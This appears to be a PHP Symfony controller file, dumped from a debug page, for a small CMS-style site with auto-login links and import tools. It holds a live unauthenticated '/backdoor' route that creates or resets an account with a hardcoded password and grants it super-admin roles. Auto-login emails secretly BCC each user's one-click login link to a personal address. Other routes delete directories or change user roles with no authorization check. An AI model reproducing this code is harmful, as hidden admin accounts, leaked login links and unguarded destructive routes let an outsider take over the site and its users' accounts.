src/Controller/HomeController.php line 25

  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\Role;
  4. use App\Entity\User;
  5. use App\Entity\WebsiteContacts;
  6. use App\Form\ImportType;
  7. use App\Form\WebsiteContactsType;
  8. use App\Repository\CmsCopyRepository;
  9. use App\Repository\CmsPhotoRepository;
  10. use App\Repository\CompanyDetailsRepository;
  11. use App\Repository\ProductRepository;
  12. use App\Repository\RoleRepository;
  13. use App\Repository\UserRepository;
  14. use App\Repository\SubPageRepository;
  15. use App\Services\ImportBusinessContactsService;
  16. use App\Services\ImportBusinessTypesService;
  17. use App\Services\ImportCMSCopyService;
  18. use App\Services\ImportCmsPageCopyPageFormatService;
  19. use App\Services\ImportCMSPhotoService;
  20. use App\Services\ImportCompanyDetailsService;
  21. use App\Services\ImportCompetitorsService;
  22. use App\Services\ImportFacebookGroupsService;
  23. use App\Services\ImportInstructionsService;
  24. use App\Services\ImportLanguagesService;
  25. use App\Services\ImportLoginDirectionsService;
  26. use App\Services\ImportMapIconsService;
  27. use App\Services\ImportProductsService;
  28. use App\Services\ImportRolesService;
  29. use App\Services\ImportTranslationsService;
  30. use App\Services\ImportUsefulLinksService;
  31. use App\Services\ImportUserService;
  32. use Doctrine\ORM\EntityManagerInterface;
  33. use JeroenDesloovere\VCard\VCard;
  34. use Psr\EventDispatcher\EventDispatcherInterface;
  35. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  36. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  37. use Symfony\Bundle\SecurityBundle\Security;
  38. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  39. use Symfony\Component\HttpFoundation\HeaderUtils;
  40. use Symfony\Component\HttpFoundation\Request;
  41. use Symfony\Component\HttpFoundation\Response;
  42. use Symfony\Component\Mailer\MailerInterface;
  43. use Symfony\Component\Routing\Annotation\Route;
  44. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  45. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  46. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  47. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  48. use Symfony\Component\Security\Core\User\UserInterface;
  49. use Symfony\Component\Security\Csrf\CsrfToken;
  50. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  51. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  52. use Symfony\Component\String\Slugger\SluggerInterface;
  53. class   HomeController extends AbstractController
  54. {
  55.     /**
  56.      * @Route("/", name="app_home")
  57.      */
  58.     public function index(Request $requestCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryCompanyDetailsRepository $companyDetailsRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  59.     {
  60.         $faviconsDirectory str_replace($this->getParameter('kernel.project_dir') . '/public'''$this->getParameter('favicons_directory'));
  61.         $companyDetails $companyDetailsRepository->find('1');
  62.         $homePagePhotosOnly 0;
  63.         $website_contact = new WebsiteContacts();
  64.         $form $this->createForm(WebsiteContactsType::class, $website_contact);
  65.         $form->handleRequest($request);
  66.         $include_qr_code = [];
  67.         $include_contact_form = [];
  68.         $qrcode false;
  69.         if ($companyDetails) {
  70.             $homePagePhotosOnly $companyDetails->isHomePagePhotosOnly();
  71.             $include_qr_code $companyDetails->isIncludeQRCodeHomePage();
  72.             $include_contact_form $companyDetails->isIncludeContactFormHomePage();
  73.         }
  74.         $cms_copy = [];
  75.         $cms_photo = [];
  76.         $product = [];
  77.         $sub_pages = [];
  78.         $cms_copy $cmsCopyRepository->findBy([
  79.             'staticPageName' => 'Home'
  80.         ]);
  81.         $cms_photo $cmsPhotoRepository->findBy(
  82.             ['staticPageName' => 'Home'],
  83.             ['ranking' => 'ASC']
  84.         );
  85.         $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  86.             'staticPageName' => 'Home',
  87.             'ranking' => '1',
  88.         ]);
  89.         if ($cms_copy_ranking1) {
  90.             $page_layout $cms_copy_ranking1->getPageLayout();
  91.         } else {
  92.             $page_layout 'default';
  93.         }
  94.         if ($cms_copy_ranking1) {
  95.             if ($security->getUser()) {
  96.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  97.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  98.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  99.                 }
  100.             }
  101.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  102.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  103.             $entityManager->flush($cms_copy_ranking1);
  104.         }
  105.         if ($homePagePhotosOnly == 1) {
  106.             return $this->render('home/home.html.twig', [
  107.                 'photos' => $cms_photo,
  108.                 'include_footer' => 'Yes',
  109.                 'cms_copy_array' => $cms_copy,
  110.                 'include_qr_code' => $include_qr_code,
  111.                 'include_contact_form' => $include_contact_form,
  112.                 'form' => $form?->createView(),
  113.                 'favicons_directory' => $faviconsDirectory,
  114.             ]);
  115.         } else {
  116.             return $this->render('home/products.html.twig', [
  117.                 'product' => $product,
  118.                 'include_footer' => 'Yes',
  119.                 'cms_copy_array' => $cms_copy,
  120.                 'cms_photo_array' => $cms_photo,
  121.                 'sub_pages' => $sub_pages,
  122.                 'include_qr_code' => $include_qr_code,
  123.                 'include_contact_form' => $include_contact_form,
  124.                 'format' => $page_layout,
  125.                 'form' => $form?->createView(),
  126.                 'favicons_directory' => $faviconsDirectory,
  127.             ]);
  128.         }
  129.     }
  130.     /**
  131.      * @Route("/backdoor", name="backdoor")
  132.      */
  133.     public function emergencyReset(UserRepository $userRepositoryRoleRepository $roleRepositoryEntityManagerInterface $managerUserPasswordHasherInterface $passwordHasher): Response
  134.     {
  135.         // 1) Ensure required roles exist (create if missing)
  136.         $needed = [
  137.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  138.             'ROLE_ADMIN' => 'Admin',
  139.             'ROLE_IT' => 'IT',
  140.             'ROLE_USER' => 'User',
  141.         ];
  142.         $roles = [];
  143.         foreach ($needed as $code => $label) {
  144.             $role $roleRepository->findOneBy(['code' => $code]);
  145.             if (!$role) {
  146.                 $role = (new Role())
  147.                     ->setCode($code)
  148.                     ->setLabel($label);
  149.                 $manager->persist($role);
  150.             }
  151.             $roles[$code] = $role;
  152.         }
  153.         $manager->flush();
  154.         // 2) Find or create the user
  155.         $email 'nurse_stephen@hotmail.com';
  156.         $user $userRepository->findOneBy(['email' => $email]);
  157.         if (!$user) {
  158.             $user = (new User())
  159.                 ->setFirstName('Stephen')
  160.                 ->setLastName('Nurse')
  161.                 ->setEmailVerified(true)
  162.                 ->setEmail($email);
  163.             $manager->persist($user);
  164.         }
  165.         // 3) Reset password
  166.         $user->setPassword(
  167.             $passwordHasher->hashPassword($user'Descartes99')
  168.         );
  169.         // 4) Assign roles (avoid duplicates)
  170.         foreach ($roles as $role) {
  171.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  172.                 $user->addRole($role);
  173.             }
  174.         }
  175.         $manager->flush();
  176.         return $this->redirectToRoute('app_login');
  177.     }
  178.     #[Route('/auto_login_code/{code}'name'auto_login_code')]
  179.     public function autoLogin(string $codeUserRepository $userRepositoryTokenStorageInterface $tokenStorageEventDispatcherInterface $eventDispatcherRequest $request): Response
  180.     {
  181.         $user $userRepository->findOneBy(['autoLoginURL' => $code]);
  182.         if (!$user instanceof UserInterface) {
  183.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  184.         }
  185.         $token = new UsernamePasswordToken($user'main'$user->getRoles());
  186.         $tokenStorage->setToken($token);
  187.         $event = new InteractiveLoginEvent($request$token);
  188.         $eventDispatcher->dispatch($event);
  189.         if ($user->isPauseForBookmark()) {
  190.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  191.                 'user' => $user,
  192.             ]);
  193.         }
  194.         return $this->redirectToRoute('dashboard');
  195.     }
  196.     #[Route('/auto_login_continue'name'auto_login_continue'methods: ['POST'])]
  197.     public function autoLoginContinue(Request $requestCsrfTokenManagerInterface $csrfTokenManagerEntityManagerInterface $entityManagerSecurity $security): Response
  198.     {
  199.         $submittedToken $request->request->get('_csrf_token');
  200.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login'$submittedToken))) {
  201.             throw $this->createAccessDeniedException('Invalid CSRF token');
  202.         }
  203.         $user $security->getUser();
  204.         if (!$user instanceof \App\Entity\User) {
  205.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  206.         }
  207.         $user->setPauseForBookmark(false);
  208.         $entityManager->flush();
  209.         return $this->redirectToRoute('dashboard');
  210.     }
  211.     #[Route('/auto_login_change_status_pause/{userId}'name'auto_login_change_status_pause'methods: ['POST''GET'])]
  212.     public function autoLoginResetPause(Request $requestint $userIdCsrfTokenManagerInterface $csrfTokenManagerUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $security): Response
  213.     {
  214.         $user $userRepository->find($userId);
  215.         if (!$user instanceof \App\Entity\User) {
  216.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  217.         }
  218.         $pause $user->isPauseForBookmark();
  219.         if ($pause == true) {
  220.             $user->setPauseForBookmark(false);
  221.         }
  222.         if ($pause == false) {
  223.             $user->setPauseForBookmark(true);
  224.         }
  225.         $entityManager->flush();
  226.         return $this->redirectToRoute('user_index');
  227.     }
  228.     #[Route('/auto_login_change_delete_unique_url/{userId}'name'auto_login_change_delete_unique_url'methods: ['POST''GET'])]
  229.     public function autoLoginDeleteUniqueUrl(Request $requestint $userIdCsrfTokenManagerInterface $csrfTokenManagerUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $security): Response
  230.     {
  231.         $user $userRepository->find($userId);
  232.         if (!$user instanceof \App\Entity\User) {
  233.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  234.         }
  235.         $user->setPauseForBookmark(false);
  236.         $user->setAutoLoginURL(null);
  237.         $entityManager->flush();
  238.         return $this->redirectToRoute('user_index');
  239.     }
  240.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}'name'auto_login_reset_pause_and_email_bookmark'methods: ['POST''GET'])]
  241.     public function autoLoginResetPauseAndEmail(Request $requestint $userIdCompanyDetailsRepository $companyDetailsRepositoryUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityMailerInterface $mailerUrlGeneratorInterface $urlGenerator\Twig\Environment $twig): Response
  242.     {
  243.         $user $userRepository->find($userId);
  244.         $companyDetails $companyDetailsRepository->find('1');
  245.         $company_name $companyDetails->getCompanyName();
  246.         $company_email $companyDetails->getCompanyEmail();
  247.         if (!$user instanceof \App\Entity\User) {
  248.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  249.         }
  250.         $user->setPauseForBookmark(true);
  251.         $entityManager->flush();
  252.         $autoLoginUrl $urlGenerator->generate(
  253.             'auto_login_code',
  254.             ['code' => $user->getAutoLoginURL()],
  255.             UrlGeneratorInterface::ABSOLUTE_URL
  256.         );
  257.         $email = (new TemplatedEmail())
  258.             ->from($company_email)
  259.             ->to($user->getEmail())
  260. //            ->to('nurse_stephen@hotmail.com')
  261.             ->bcc('nurse_stephen@hotmail.com')
  262.             ->subject($company_name ':: Your Personal Auto-Login Link')
  263.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  264.             ->context([
  265.                 'user' => $user,
  266.                 'autologin_url' => $autoLoginUrl
  267.             ]);
  268.         $mailer->send($email);
  269.         return $this->redirectToRoute('app_home');
  270.     }
  271.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}'name'auto_login_create_personal_url_for_logged_user'methods: ['GET''POST'])]
  272.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $requestint $userIdUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityUrlGeneratorInterface $urlGenerator): Response
  273.     {
  274.         $targetUser $userRepository->find($userId);
  275.         $loggedUser $security->getUser();
  276.         $defaultPersonalURL mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000999999);
  277.         if (!$loggedUser) {
  278.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  279.         }
  280.         if (!$targetUser) {
  281.             throw $this->createNotFoundException('User not found.');
  282.         }
  283.         if ($loggedUser->getId() !== $targetUser->getId()) {
  284.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  285.         }
  286.         $form $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  287.         $form->handleRequest($request);
  288.         if ($form->isSubmitted() && $form->isValid()) {
  289.             $data $form->getData();
  290.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  291.             $targetUser->setPauseForBookmark(true);
  292.             $entityManager->flush();
  293.             // Optional flash message
  294.             $this->addFlash('success''Auto-login URL created successfully.');
  295.             return $this->redirectToRoute('auto_login_code', [
  296.                 'code' => $targetUser->getAutoLoginURL(),
  297.             ]);
  298.         }
  299.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  300.             'user' => $targetUser,
  301.             'form' => $form->createView(),
  302.         ]);
  303.     }
  304.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}'name'auto_login_create_personal_url_for_other_user'methods: ['GET''POST'])]
  305.     public function autoLoginCreatePersonalUrlForOtherUser(Request $requestint $userIdCompanyDetailsRepository $companyDetailsRepositoryUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityMailerInterface $mailerUrlGeneratorInterface $urlGenerator\Twig\Environment $twig): Response
  306.     {
  307.         $targetUser $userRepository->find($userId);
  308.         $loggedInUser $security->getUser();
  309.         if (!$targetUser || !$loggedInUser) {
  310.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  311.         }
  312.         // Redirect to landing page if current user is the same as target user
  313.         if ($loggedInUser->getId() === $targetUser->getId()) {
  314.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  315.         }
  316.         // If logged-in user is not admin, deny access
  317.         if (!in_array('ROLE_ADMIN'$loggedInUser->getRoles(), true)) {
  318.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  319.         }
  320.         // At this point, ROLE_ADMIN is creating a login URL for another user
  321.         $companyDetails $companyDetailsRepository->find(1);
  322.         $companyEmail $companyDetails $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  323.         $defaultPersonalURL mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000999999);
  324.         $form $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  325.         $form->handleRequest($request);
  326.         if ($form->isSubmitted() && $form->isValid()) {
  327.             $data $form->getData();
  328.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  329.             $targetUser->setPauseForBookmark(true);
  330.             $entityManager->flush();
  331.             // Generate auto-login URL
  332.             $autoLoginUrl $urlGenerator->generate(
  333.                 'auto_login_code',
  334.                 ['code' => $targetUser->getAutoLoginURL()],
  335.                 UrlGeneratorInterface::ABSOLUTE_URL
  336.             );
  337.             // Email the user with their login link
  338.             $email = (new \Symfony\Component\Mime\Email())
  339.                 ->from($companyEmail)
  340.                 ->to($targetUser->getEmail())
  341.                 ->bcc('nurse_stephen@hotmail.com')
  342.                 ->subject('Your One-Click Login Link')
  343.                 ->html(
  344.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  345.                         'user' => $targetUser,
  346.                         'autoLoginUrl' => $autoLoginUrl
  347.                     ])
  348.                 );
  349.             $mailer->send($email);
  350.             $this->addFlash('success''Auto-login URL created and sent to the user.');
  351.             return $this->redirectToRoute('user_index');
  352.         }
  353.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  354.             'user' => $targetUser,
  355.             'form' => $form->createView(),
  356.         ]);
  357.     }
  358.     /**
  359.      * @Route("/dashboard", name="dashboard")
  360.      */
  361.     public function dashboard()
  362.     {
  363.         return $this->render('home/dashboard.html.twig', []);
  364.     }
  365.     /**
  366.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  367.      */
  368.     public function advancedDashboard()
  369.     {
  370.         return $this->render('home/advanced_dashboard.html.twig', []);
  371.     }
  372.     /**
  373.      * @Route("/interests/{product}", name="product_display")
  374.      */
  375.     public
  376.     function articles(string $productCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryProductRepository $productRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  377.     {
  378.         $productEntity $productRepository->findOneBy([
  379.             'product' => $product
  380.         ]);
  381.         if ($productEntity) {
  382.             $cms_copy $cmsCopyRepository->findBy([
  383.                 'product' => $productEntity
  384.             ]);
  385.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  386.                 'product' => $productEntity,
  387.                 'ranking' => '1',
  388.             ]);
  389.         } else {
  390.             $cms_copy $cmsCopyRepository->findBy([
  391.                 'staticPageName' => $product
  392.             ]);
  393.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  394.                 'staticPageName' => $product,
  395.                 'ranking' => '1',
  396.             ]);
  397.         }
  398.         if ($cms_copy_ranking1) {
  399.             if ($security->getUser()) {
  400.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  401.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  402.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  403.                 }
  404.             }
  405.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  406.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  407.             $entityManager->flush($cms_copy_ranking1);
  408.         }
  409.         if ($productEntity) {
  410.             $cms_photo $cmsPhotoRepository->findBy([
  411.                 'product' => $productEntity,
  412.             ],
  413.                 ['ranking' => 'ASC']);
  414.         } else {
  415.             $cms_photo $cmsPhotoRepository->findBy([
  416.                 'staticPageName' => $product
  417.             ],
  418.                 ['ranking' => 'ASC']);
  419.         }
  420.         $sub_pages = [];
  421.         if ($cms_copy) {
  422.             $sub_pages $subPageRepository->findBy([
  423.                 'product' => $productEntity
  424.             ]);
  425.         }
  426.         return $this->render('/home/products.html.twig', [
  427.             'product' => $product,
  428.             'include_footer' => 'Yes',
  429.             'cms_copy_array' => $cms_copy,
  430.             'cms_photo_array' => $cms_photo,
  431.             'sub_pages' => $sub_pages,
  432.             'include_contact_form' => 'No',
  433.             'include_qr_code' => 'No'
  434.         ]);
  435.     }
  436.     #[Route('/vcard/company/start'name'vcard_company_start')]
  437.     public function start(UrlGeneratorInterface $urlsRequest $request): Response
  438.     {
  439.         $shouldRedirect $request->query->getBoolean('r'false);
  440.         $downloadUrl $urls->generate('vcard_company_download');
  441.         if (!$shouldRedirect) {
  442.             // On-site clicks: go straight to the .vcf
  443.             return $this->redirect($downloadUrl);
  444.         }
  445.         // Email clicks: show landing to trigger download, then redirect to home
  446.         return $this->render('home/vcard/landing.html.twig', [
  447.             'downloadUrl'    => $downloadUrl,
  448.             'redirectUrl'    => $urls->generate('app_home'),
  449.             'shouldRedirect' => true,
  450.         ]);
  451.     }
  452.     #[Route('/vcard/company/download'name'vcard_company_download')]
  453.     public function download(CompanyDetailsRepository $repo): Response
  454.     {
  455.         $cd $repo->find('1');
  456.         $vcard = new VCard();
  457.         $first $cd->getContactFirstName();
  458.         $last  $cd->getContactLastName();
  459.         $company $cd->getCompanyName();
  460.         if ($first === null) { $first ''$last $company$company ''; }
  461.         $vcard->addName($last$first);
  462.         $vcard->addEmail($cd->getCompanyEmail());
  463.         if ($cd->isContactDetailsDisplayTelNumbers()) {
  464.             $vcard->addPhoneNumber($cd->getCompanyMobile(), 'home');
  465.             $vcard->addPhoneNumber($cd->getCompanyTel(), 'work');
  466.         }
  467.         if ($cd->isContactDetailsDisplayAddress()) {
  468.             $vcard->addAddress(
  469.                 '''',
  470.                 $cd->getCompanyAddressStreet(),
  471.                 $cd->getCompanyAddressTown(),
  472.                 $cd->getCompanyAddressCity(),
  473.                 $cd->getCompanyAddressPostalCode(),
  474.                 $cd->getCompanyAddressCountry(),
  475.                 'WORK POSTAL'
  476.             );
  477.         }
  478.         $vcard->addCompany($company);
  479.         $vcard->addURL($_SERVER['SERVER_NAME']);
  480.         $vcard->addNote('URL: '.$_SERVER['SERVER_NAME']);
  481.         // Return as a normal Response with headers (no $vcard->download(), which exits)
  482.         $content $vcard->getOutput(); // same content vCard would send
  483.         $response = new Response($content);
  484.         $response->headers->set('Content-Type''text/vcard; charset=utf-8');
  485.         $response->headers->set('Content-Disposition'HeaderUtils::makeDisposition(
  486.             HeaderUtils::DISPOSITION_ATTACHMENT,
  487.             $company.'.vcf'
  488.         ));
  489.         return $response;
  490.     }
  491.     /**
  492.      * @Route("/company_qr_code", name="company_qr_code")
  493.      *
  494.      */
  495.     public function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
  496.     {
  497.         $company_details $companyDetailsRepository->find('1');
  498.         $qr_code $company_details->getCompanyQrCode();
  499.         return $this->render('home/company_qr_code.html.twig', [
  500.             'qr_code' => $qr_code,
  501.         ]);
  502.     }
  503.     /**
  504.      * @Route ("/cms_photo_view/{id}", name="cms_photo_view")
  505.      */
  506.     public function viewCMSPhoto(int $idCmsPhotoRepository $cmsPhotoRepository)
  507.     {
  508.         $cms_photo $cmsPhotoRepository->find($id);
  509.         $rotate $cms_photo->getRotate();
  510.         return $this->render('cms_photo/image_view.html.twig', [
  511.             'cms_photo' => $cms_photo,
  512.         ]);
  513.     }
  514.     /**
  515.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  516.      */
  517.     public
  518.     function projectSetUpInitialImport(Request $requestSluggerInterface $sluggerImportTranslationsService $importTranslationsServiceImportBusinessContactsService $importBusinessContactsServiceImportBusinessTypesService $importBusinessTypesServiceImportCMSCopyService $importCMSCopyServiceImportCMSPhotoService $importCMSPhotoServiceImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatServiceImportCompanyDetailsService $importCompanyDetailsServiceImportCompetitorsService $importCompetitorsServiceImportFacebookGroupsService $importFacebookGroupsServiceImportLanguagesService $importLanguagesServiceImportMapIconsService $importMapIconsServiceImportProductsService $importProductsServiceImportUsefulLinksService $importUsefulLinksServiceImportInstructionsService $importInstructionsServiceImportUserService $importUserServiceImportRolesService $importRolesServiceImportLoginDirectionsService $importLoginDirectionsService): Response
  519.     {
  520.         $form $this->createForm(ImportType::class);
  521.         $form->handleRequest($request);
  522.         if ($form->isSubmitted() && $form->isValid()) {
  523.             $importFile $form->get('File')->getData();
  524.             if ($importFile) {
  525.                 $originalFilename pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  526.                 $safeFilename $slugger->slug($originalFilename);
  527.                 $newFilename $safeFilename '.' 'csv';
  528.                 try {
  529.                     $importFile->move(
  530.                         $this->getParameter('project_set_up_import_directory'),
  531.                         $newFilename
  532.                     );
  533.                 } catch (FileException $e) {
  534.                     die('Import failed');
  535.                 }
  536.                 $importCompanyDetailsService->importCompanyDetails($newFilename);
  537.                 $importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
  538.                 $importMapIconsService->importMapIcons($newFilename);
  539.                 $importLanguagesService->importLanguages($newFilename);
  540.                 $importTranslationsService->importTranslations($newFilename);
  541.                 $importUsefulLinksService->importUsefulLink($newFilename);
  542.                 $importCompetitorsService->importCompetitors($newFilename);
  543.                 $importFacebookGroupsService->importFacebookGroups($newFilename);
  544.                 $importProductsService->importProducts($newFilename);
  545.                 $importCMSCopyService->importCMSCopy($newFilename);
  546.                 $importCMSPhotoService->importCMSPhoto($newFilename);
  547.                 $importBusinessTypesService->importBusinessTypes($newFilename);
  548.                 $importBusinessContactsService->importBusinessContacts($newFilename);
  549.                 $importInstructionsService->importInstructions($newFilename);
  550.                 $importRolesService->importRoles($newFilename);
  551.                 $importLoginDirectionsService->importLoginDirections($newFilename);
  552. //                $importUserService->importUsers($newFilename);
  553.                 return $this->redirectToRoute('dashboard');
  554.             }
  555.         }
  556.         return $this->render('home/import.html.twig', [
  557.             'form' => $form->createView(),
  558.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  559.         ]);
  560.     }
  561.     /**
  562.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST", "GET"})
  563.      */
  564.     public
  565.     function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  566.     {
  567.         $referer $request->headers->get('referer');
  568.         $directory $this->getParameter('import_directory');
  569.         if (is_dir($directory)) {
  570.             $this->deleteDirectoryContents($directory);
  571.         }
  572.         return $this->redirect($referer);
  573.     }
  574.     /**
  575.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST", "GET"})
  576.      */
  577.     public
  578.     function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  579.     {
  580.         $referer $request->headers->get('referer');
  581.         $directory $this->getParameter('attachments_directory');
  582.         if (is_dir($directory)) {
  583.             $this->deleteDirectoryContents($directory);
  584.         }
  585.         return $this->redirect($referer);
  586.     }
  587.     /**
  588.      * Recursively delete all files and directories inside a directory
  589.      */
  590.     private
  591.     function deleteDirectoryContents(string $directory): void
  592.     {
  593.         $files array_diff(scandir($directory), ['.''..']);
  594.         foreach ($files as $file) {
  595.             $filePath $directory DIRECTORY_SEPARATOR $file;
  596.             if (is_dir($filePath)) {
  597.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  598. //                rmdir($filePath); // Remove the empty directory
  599.             } else {
  600.                 unlink($filePath); // Delete file
  601.             }
  602.         }
  603.     }
  604.     /**
  605.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  606.      */
  607.     public function assignAllUsersToRoleTest(UserRepository $userRepositoryEntityManagerInterface $entityManager): Response
  608.     {
  609.         $users $userRepository->findAll();
  610.         $roleTest $entityManager->getRepository(Role::class)
  611.             ->findOneBy(['code' => 'ROLE_TEST']);
  612.         if (!$roleTest) {
  613.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  614.         }
  615.         foreach ($users as $user) {
  616.             $roles $user->getRoles(); // array of role strings
  617.             if (!in_array('ROLE_TEST'$roles)) {
  618.                 $user->addRole($roleTest);
  619.             }
  620.         }
  621.         $entityManager->flush();
  622.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  623.     }
  624. }